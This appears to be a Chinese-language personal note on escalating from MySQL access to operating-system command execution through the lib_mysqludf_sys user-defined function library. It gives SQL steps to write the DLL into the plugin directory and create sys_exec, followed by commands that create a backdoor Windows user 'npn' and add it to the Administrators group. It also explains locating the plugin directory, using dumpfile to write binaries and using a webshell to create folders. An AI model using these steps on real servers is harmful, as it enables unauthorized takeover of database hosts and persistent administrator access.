看了太多資料,累壞了,先雜亂的放在這里吧,回頭有時間再排版
一、window系統
1、從sqlmap中找到32為的 lib_mysqludf_sys.dll (64位的我沒有測試成功)
選擇數據庫
USE mysql;
創建數據表
CREATE
TABLE
npn(line blob);
lib_mysqludf_sys.dll里的內容寫入數據表
INSERT INTO npn values(load_file('d:/lib_mysqludf_sys.dll'));
把數據表內的內容寫到lib_mysqludf_sys_32.dll里面(其實這兩個dll是一樣的;)
lib_mysqludf_sys_32.dll拷貝到mysql的plugin目錄下,這樣下面的命令才可以執行
CREATE
FUNCTION
sys_exec
RETURNS
integer
SONAME
'lib_mysqludf_sys_32.dll'
;
SELECT
sys_exec(
"net user npn npn12345678 /add"
);
SELECT sys_exec("net localgroup Administrators npn /add");
2、
如果不清楚mysql lib目錄可以登mysql執行
mysql> show variables like '%plug%';
注意,如果庫中沒有相關的函數者會報錯如:

3、mysql通過plugin可以擴展更多的功能.plugin相當於一種插件,用戶可以根據自己的需要求開發各種
各樣的plugin來支持自定義的功能,比如存儲引擎,半同步復制,分區等等各種各樣的功能.
mysql服務器的plugin可以分為兩類,一種是內置的plugin,一種是外部的plugin.內部的plugin主要是和
mysql服務器一起分發的,用戶不需要額外干預.而外部的plugin是由用戶自行開發,實現某種特殊的功能.
可以通過 show plugins來查看。如果library欄位為null,就表示為內置的plugin,否則為外部的plugin。
mysql> show plugins;
4、BLOB類型的字段用於存儲二進制數據
MySQL中,BLOB是個類型系列,包括:TinyBlob、Blob、MediumBlob、LongBlob,這幾個類型之間的唯一區別是在存儲文件的最大大小上不同。
MySQL的四種BLOB類型
類型 大小(單位:字節)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G
5、從MYSQL 5.1版本開始必須要把udf.dll文件放到MYSQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數,並且該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然后將udf.dll文件導出到該目錄即可。
6、mysql dumpfile 與 outfile 函數的區別
into outfile 函數會 在行末端寫入新行 更致命的 是會轉義換行符, 這樣的話2進制可執行文件就會被破壞 ,
在導出到 一個txt文件,事實上是可以完整導出每行記錄的.這個很適合導庫,如果要導出多行記錄,dumpfile是不行的 它只能導出 一行數據!
into dumpfile 就能導出 一個完整能執行的2進制 文件into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理
7、查看系統plugin的設置目錄;
select @@basedir; --獲取mysql安裝目錄;
show variables like "%plugin%"
二、linux:
1、從下面地址下載最新的文件
https://github.com/mysqludf/lib_mysqludf_sys
2、進入文件目錄,執行下面命令:
$ sudo ./install.sh
根據提示進行安裝
